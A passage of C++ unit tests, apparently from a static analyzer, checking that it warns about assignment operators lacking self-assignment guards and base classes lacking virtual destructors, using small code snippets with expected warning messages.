ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n 